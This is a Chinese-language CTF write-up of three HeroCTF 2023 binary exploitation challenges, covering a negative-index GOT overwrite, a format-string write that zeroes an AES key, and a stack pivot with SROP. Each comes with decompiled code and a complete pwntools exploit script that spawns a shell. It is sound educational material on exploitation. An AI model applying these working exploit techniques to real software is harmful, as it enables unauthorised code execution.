CTF 2023 三道pwn题

作者丨selph appointment_book 程序信息 程序保护信息：

➜ HeroCTF checksec appointment_book [*] '/home/selph/ctf/HeroCTF/appointment_book' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)

这里其实已经给出提示了，没有Relocation Read-Only，没有PIE，说明可以去修改got表项，当时咋就没想到呢hhhh

程序运行信息：

***** Select an option *****

1. List appointments
2. Add an appointment
3. Exit

Your choice: 2 [+] Enter the index of this appointment (0-7): 0 [+] Enter a date and time (YYYY-MM-DD HH:MM:SS): 1111-11-11 22:22:22 [+] Converted to UNIX timestamp using local timezone: -27080300601 [+] Enter an associated message (place, people, notes...): YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY

***** Select an option *****

1. List appointments
2. Add an appointment
3. Exit

Your choice: 1

[+] List of appointments:

• Appointment n°1:

  • Date: 1111-11-11 22:22:22
  • Message: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY

• Appointment n°2: [NO APPOINTMENT]

• Appointment n°3: [NO APPOINTMENT]

• Appointment n°4: [NO APPOINTMENT]

• Appointment n°5: [NO APPOINTMENT]

• Appointment n°6: [NO APPOINTMENT]

• Appointment n°7: [NO APPOINTMENT]

• Appointment n°8: [NO APPOINTMENT]

***** Select an option *****

1. List appointments
2. Add an appointment
3. Exit

逆向分析 主程序：就是提供个菜单项，主要功能在菜单函数内

int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { char *v3; // rax int v4; // [rsp+4h] [rbp-Ch] time_t v5; // [rsp+8h] [rbp-8h]

memset(&appointments, 0, 0x80uLL); puts("========== Welcome to your appointment book. =========="); v5 = time(0LL); v3 = timestamp_to_date(v5); printf("\n[LOCAL TIME] %s\n", v3); fflush(stdout); while ( 1 ) { v4 = menu(); if ( v4 == 3 ) { puts("\n[+] Good bye!"); fflush(stdout); exit(1); } if ( v4 > 3 ) { LABEL_10: puts("\n[-] Unknwon choice\n"); fflush(stdout); } else if ( v4 == 1 ) { list_appointments(); } else { if ( v4 != 2 ) goto LABEL_10; create_appointment(); } } }

list_appointments函数：这里只是展示结构体保存的内容，没有什么特别的

int list_appointments() { int result; // eax char *v1; // rax int i; // [rsp+4h] [rbp-Ch] const char **v3; // [rsp+8h] [rbp-8h]

puts("\n[+] List of appointments: "); result = fflush(stdout); for ( i = 0; i <= 7; ++i ) { v3 = (const char **)((char *)&appointments + 16 * i); printf("- Appointment n°%d:\n", (unsigned int)(i + 1)); if ( v3[1] ) { v1 = timestamp_to_date((time_t)*v3); printf("\t- Date: %s\n", v1); printf("\t- Message: %s\n", v3[1]); } else { puts("\t[NO APPOINTMENT]"); } result = fflush(stdout); } return result; }

create_appointment()：这里是向结构体里填充内容，但不存在堆栈相关漏洞

这里的结构体是在IDA里手动创建的，打开结构体窗口，然后右键创建即可

unsigned __int64 create_appointment() { __int64 v0; // rax int i; // [rsp+Ch] [rbp-24h] BYREF void *tmp_data; // [rsp+10h] [rbp-20h] char *content; // [rsp+18h] [rbp-18h] Appointment *v5; // [rsp+20h] [rbp-10h] unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u); tmp_data = malloc(0x20uLL); content = (char *)malloc(0x40uLL); // 可以申请一堆，导致内存泄露，但没啥用 memset(tmp_data, 0, 0x20uLL); memset(content, 0, 0x40uLL); do { printf("[+] Enter the index of this appointment (0-7): "); fflush(stdout); __isoc99_scanf("%d", &i); getchar(); } while ( i > 7 ); // 【关键点！！！！！】 v5 = &appointments[i]; printf("[+] Enter a date and time (YYYY-MM-DD HH:MM:SS): "); fflush(stdout); fgets((char *)tmp_data, 0x1E, stdin); v0 = date_to_timestamp((__int64)tmp_data); // 接收到一个数字 v5->time = v0; // 保存到v5第一个成员 printf("[+] Converted to UNIX timestamp using local timezone: %ld\n", v5->time); printf("[+] Enter an associated message (place, people, notes...): "); fflush(stdout); fgets(content, 0x3E, stdin); // 写内容到chunk中 v5->pMessage = (__int64)content; // 只能申请chunk，不能释放，赋值一个指针 free(tmp_data); return v6 - __readfsqword(0x28u); }

这里的一个小细节，反而是这个题目的关键点！！！：

do { printf("[+] Enter the index of this appointment (0-7): "); fflush(stdout); __isoc99_scanf("%d", &i); getchar(); } while ( i > 7 );

这是中间的一段循环，意思是，如果输入的索引超过了索引上限，则要求重新输入，但是这里输入可以为负数！

程序里还有个辅助函数：

.text:0000000000401336 ; Attributes: bp-based frame .text:0000000000401336 .text:0000000000401336 ; int debug_remote() .text:0000000000401336 public debug_remote .text:0000000000401336 debug_remote proc near .text:0000000000401336 ; __unwind { .text:0000000000401336 endbr64 .text:000000000040133A push rbp .text:000000000040133B mov rbp, rsp .text:000000000040133E lea rax, command ; "/bin/sh" .text:0000000000401345 mov rdi, rax ; command .text:0000000000401348 call _system .text:000000000040134D nop .text:000000000040134E pop rbp .text:000000000040134F retn .text:000000000040134F ; } // starts at 401336 .text:000000000040134F debug_remote endp

当这里输入为负数，则绕过了索引值合法性的检查，使用负数索引，会导致索引到数组之前的地址上面，然后对其进行编辑

这里的思路就是，通过输入一个负数索引，让数组索引到got表项上，然后修改got表项的值为该辅助函数，最后触发拿到shell

利用 查看该数组所在的地址：0x0000000004037A0

查看got表项地址：

.got.plt:0000000000403740 A0 38 40 00 00 00 00 00 off_403740 dq offset strftime ; DATA XREF: _strftime+4↑r .got.plt:0000000000403748 A8 38 40 00 00 00 00 00 off_403748 dq offset __isoc99_scanf ; DATA XREF: ___isoc99_scanf+4↑r .got.plt:0000000000403750 B0 38 40 00 00 00 00 00 off_403750 dq offset exit ; DATA XREF: _exit+4↑r

计算中间的距离：0x50，刚好只需要输入为索引-5即可让time字段覆盖到exit函数上，只需要计算一下时间戳的转换即可：

这里有一个点就是，不同时区计算出来的结果是不同的，要在比赛中用上，需要使用比赛所在地的时区

这里本地利用，只需要使用本地时间即可，利用脚本：

#!/bin/python3 from pwn import *

FILE_NAME = "./appointment_book" REMOTE_HOST = "" REMOTE_PORT = 0

elf = context.binary = ELF(FILE_NAME)

gs = ''' continue ''' def start(): if args.REMOTE: return remote(REMOTE_HOST,REMOTE_PORT) if args.GDB: return gdb.debug(elf.path, gdbscript=gs) else: return process(elf.path)

io = start()

=============================================================================

============== exploit ===================

io.sendline(b"2") io.sendline(b"-5") io.sendline(b"1970-02-18 22:27:02") io.sendline(b"junk data") io.sendline(b"3")

=============================================================================

io.interactive()

运行结果：

➜ HeroCTF python3 appointment.py [] '/home/selph/ctf/HeroCTF/appointment_book' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [] '/usr/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process '/home/selph/ctf/HeroCTF/appointment_book': pid 19621 [*] Switching to interactive mode ========== Welcome to your appointment book. ==========

[LOCAL TIME] 2023-05-16 11:02:54

***** Select an option *****

1. List appointments
2. Add an appointment
3. Exit

Your choice: [+] Enter the index of this appointment (0-7): [+] Enter a date and time (YYYY-MM-DD HH:MM:SS): [+] Converted to UNIX timestamp using local timezone: 4199222 [+] Enter an associated message (place, people, notes...): ***** Select an option *****

1. List appointments
2. Add an appointment
3. Exit

Your choice: [+] Good bye! $ w 11:02:56 up 8:17, 1 user, load average: 0.01, 0.13, 0.15 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT selph tty2 tty2 六14 2days 0.01s 0.01s /usr/libexec/gnome-session-binary --session=ubuntu

impossible_v2 时间花在了，格式化字符串和AES算法上

程序信息 安全选项：无PIE，其他基本上都开了

➜ HeroCTF checksec impossible_v2 [*] '/home/selph/ctf/HeroCTF/impossible_v2' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)

运行：

➜ HeroCTF ./impossible_v2 I've implemented a 1-block AES ECB 128 cipher that uses a random key. Try to give me a message such as AES_Encrypt(message, key) = 0xdeadbeefdeadbeefcafebabecafebabe. (don't try too much, this is impossible).

Enter your message: good Do you want to change it ? (y/n) y Enter your message (last chance): asd So, this is your final message: 6173640a000000000000000000000000000000000000000000000000000000000000000000000000

Well, I guess you're not this smart :)

提示的很明显，这里进行了一次AES ECB模式 128位的加密，使用的是随机的Key，要求最后加密的结果为0xdeadbeefdeadbeefcafebabecafebabe才行

逆向分析 程序流程全在main函数里，比较简单：

int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [rsp+3h] [rbp-3Dh] char v5; // [rsp+3h] [rbp-3Dh] int i; // [rsp+4h] [rbp-3Ch] FILE *streama; // [rsp+8h] [rbp-38h] FILE *stream; // [rsp+8h] [rbp-38h] char input[40]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v10; // [rsp+38h] [rbp-8h]

v10 = __readfsqword(0x28u); puts( "I've implemented a 1-block AES ECB 128 cipher that uses a random key.\n" "Try to give me a message such as AES_Encrypt(message, key) = 0xdeadbeefdeadbeefcafebabecafebabe.\n" "(don't try too much, this is impossible).\n"); fflush(stdout); streama = fopen("/dev/urandom", "rb"); fread(key, 0x10uLL, 1uLL, streama); // key是随机数 fclose(streama); printf("Enter your message: "); fflush(stdout); fgets(input, 40, stdin); sprintf(message, input); // 格式化字符串漏洞 printf("Do you want to change it ? (y/n) "); fflush(stdout); v4 = getc(stdin); getc(stdin); if ( v4 == 'y' ) { printf("Enter your message (last chance): "); fflush(stdout); fgets(input, 40, stdin); sprintf(message, input); // 再次输入的机会 } printf("So, this is your final message: "); for ( i = 0; i <= 39; ++i ) printf("%02x", (unsigned __int8)message[i]); puts("\n"); fflush(stdout); AES_Encrypt((__int64)message, key); // AES加密 if ( !memcmp(message, expected, 0x10uLL) ) // 用户输入的加密结果和预置比对 { puts("WHAT ?! THIS IS IMPOSSIBLE !!!"); stream = fopen("flag.txt", "r"); while ( 1 ) { v5 = getc(stream); if ( v5 == -1 ) break; putchar(v5); } fflush(stdout); fclose(stream); } else { puts("Well, I guess you're not this smart :)"); fflush(stdout); } return 0; }

首先是生成了一个随机数，保存在全局变量key中，然后使用该key加密用户输入的信息，和预置值进行比对

这里整个流程下来，可以输入两次信息，这里错误使用sprintf的参数，导致格式化字符串漏洞

所以思路就很简单了：

1. 通过格式化字符串漏洞，修改key的值为固定值（注意，这里的key长度为16字节）

2. 通过key和加密结果进行AES解密，拿到正确的输入

利用 #!/bin/python3 from pwn import * from Crypto.Cipher import AES

FILE_NAME = "impossible_v2" REMOTE_HOST = "static-03.heroctf.fr" REMOTE_PORT = 5001

elf = context.binary = ELF(FILE_NAME)

gs = ''' continue b* 0x00401369 b* 0x00401490 ''' def start(): if args.REMOTE: return remote(REMOTE_HOST,REMOTE_PORT) if args.GDB: return gdb.debug(elf.path, gdbscript=gs) else: return process(elf.path)

io = start()

password = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' text = b"\xDE\xAD\xBE\xEF\xDE\xAD\xBE\xEF\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE" aes = AES.new(password,AES.MODE_ECB) input = aes.decrypt(text)

============== exploit ===================

key = 0x004040c0 io.sendline(b'%09$lln%10$lln..' + pack(key)+pack(key+8)) io.sendline(b'y') io.sendline(input) print(input)

=============================================================================

io.interactive()

执行结果：

➜ HeroCTF python3 impossible.py [] '/home/selph/ctf/HeroCTF/impossible_v2' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process '/home/selph/ctf/HeroCTF/impossible_v2': pid 21746 b'M\xaadj\xa2\xb5\xe3-\x10v\xa9\xe6\xbf\xa5\xe2\xba' [] Switching to interactive mode I've implemented a 1-block AES ECB 128 cipher that uses a random key. Try to give me a message such as AES_Encrypt(message, key) = 0xdeadbeefdeadbeefcafebabecafebabe. (don't try too much, this is impossible).

Enter your message: Do you want to change it ? (y/n) Enter your message (last chance): So, this is your final message: 4daa646aa2b5e32d1076a9e6bfa5e2ba0a0000000000000000000000000000000000000000000000

WHAT ?! THIS IS IMPOSSIBLE !!!

‍

RopeDancer 程序信息 安全选项：全都没有，呦呵，有蹊跷

➜ HeroCTF checksec ropedancer [*] '/home/selph/ctf/HeroCTF/ropedancer' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments

运行：就只是单纯的输入一次字符串，疑似栈溢出

➜ HeroCTF ./ropedancer Hello. So, you want to be a ROPedancer? no Well, let me know if you change your mind.

逆向分析 IDA打开一看，只有4个函数，是不妙的感觉

_exit .text 0000000000401085 00000009 . . . . . . T . _start .text 0000000000401016 0000006F 00000004 . . . . . . . . check_email .text 0000000000401000 00000016 00000000 R . . . . . T . get_motivation_letter .text 000000000040108E 0000008B 00000018 R . . . . B T .

首先是get_motivation_letter：

signed __int64 get_motivation_letter() { signed __int64 v0; // rax signed __int64 v1; // rax signed __int64 result; // rax char v3[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, v3, 0x64uLL); // 栈溢出 if ( (unsigned int)check_email(v3) ) // 判断是否有@ { __asm { syscall; LINUX - sys_write } // 输出提示信息 v1 = sys_read(0, motivation_letter, 0x1F4uLL);// 可以写入一堆东西 return sys_write(1u, "We will get back to you soon. Good bye.\n", 0x29uLL); } else { result = 1LL; __asm { syscall; LINUX - sys_write } // write(0,string,0x31) } return result; }

这里是一个栈溢出，但是能溢出的字节并不多

然后经过一个判断，就只是判断字符串里是否包括@符号，无关紧要

通过判断之后，通过syscall输出提示信息，然后再次读取输入到全局变量里，这次读取的范围很大

大概流程就是这样，其他的函数没啥看的

利用 这个题的关键是rop，问题就在于几乎没什么跳板指令可以使用：

➜ HeroCTF ROPgadget --binary ropedancer --only "pop|ret" Gadgets information

0x0000000000401117 : pop rbp ; ret 0x0000000000401015 : ret

Unique gadgets found: 2 ➜ HeroCTF ROPgadget --binary ropedancer --only "mov|ret" Gadgets information

0x0000000000401015 : ret

Unique gadgets found: 1 ➜ HeroCTF ROPgadget --binary ropedancer --only "syscall" Gadgets information

0x000000000040102f : syscall

Unique gadgets found: 1

无法控制传参寄存器rdx rdi rsi rcx的值，无法通过rop去进行syscall执行execve，因为栈和数据区不可执行，也无法写入shellcode跳转执行

但是这里存在syscall，且无PIE，看看能不能控制rax的值，如果能控制rax的值为0xf，就有可能可以进行srop

SROP的条件：存在栈溢出，rax的值可控，知道一个填充了/bin/sh字符串的地址

再次搜索，找到了两个跳板指令可以修改rax的值：

0x0000000000401013 : inc al ; ret 0x0000000000401011 : xor eax, eax ; inc al ; ret

进行srop需要向栈里填充一堆东西，当前的溢出大小肯定是不够的，那就需要进行一次栈迁移，把栈扩大

刚好这里提供了一个很大的全局变量可供控制，那就正好可以把栈迁移过去

栈迁移通过两个跳板指令即可完成：

0x0000000000401114 : mov rsp, rbp ; pop rbp ; ret 0x0000000000401117 : pop rbp ; ret

这两个指令，如果存在正常的函数返回，那基本上一定会存在的

解题脚本：

#!/bin/python3 from pwn import *

FILE_NAME = "./ropedancer" REMOTE_HOST = "static-03.heroctf.fr" REMOTE_PORT = 5002

elf = context.binary = ELF(FILE_NAME) libc = elf.libc

gs = ''' continue b* 0x00401118 ''' def start(): if args.REMOTE: return remote(REMOTE_HOST,REMOTE_PORT) if args.GDB: return gdb.debug(elf.path, gdbscript=gs) else: return process(elf.path)

=======================================

io = start()

=============================================================================

============== exploit ===================

new_stack = 0x00000000040312C+8

stack povit

inp = b"@"*0x17 rop = b""

mov_rsp_rbp = 0x0000000000401114 # mov rsp, rbp ; pop rbp ; ret pop_rbp = 0x0000000000401117 # pop rbp ; ret rop += pack(pop_rbp) + pack(new_stack) rop += pack(mov_rsp_rbp)

io.sendline(b'yes\n') io.sendline(inp+rop)

srop

xor_eax_inc = 0x0000000000401011 # xor eax, eax ; inc al ; ret inc_eax = 0x0000000000401013 # inc al ; ret syscall = 0x000000000040102f # syscall str_addr = new_stack-8

frame = SigreturnFrame() frame.rip = syscall frame.rax = 0x3b frame.rdi = str_addr frame.rsi = 0 frame.rdx = 0

set rax = 9

rop2 = b"/bin/sh\x00" rop2 += pack(new_stack + 400) rop2 += pack(xor_eax_inc) rop2 += pack(inc_eax)*0xe

trigger srop

rop2 += pack(syscall) rop2 += bytes(frame) io.sendline(rop2)

=============================================================================

io.interactive()

运行：

➜ HeroCTF python3 ropedancer.py [*] '/home/selph/ctf/HeroCTF/ropedancer' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [+] Starting local process '/home/selph/ctf/HeroCTF/ropedancer': pid 22172

[*] Switching to interactive mode Hello. So, you want to be a ROPedancer? \x00lright. Please enter an email on which we can contact you: \x00hanks. You have 400 characters to convince me to hire you: \x00e will get back to you soon. Good bye. \x00$ w 14:52:34 up 10:40, 1 user, load average: 0.81, 0.54, 0.41 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT selph tty2 tty2 Sat14 3days 0.01s 0.01s /usr/libexec/gnome-session-binary --session=ubuntu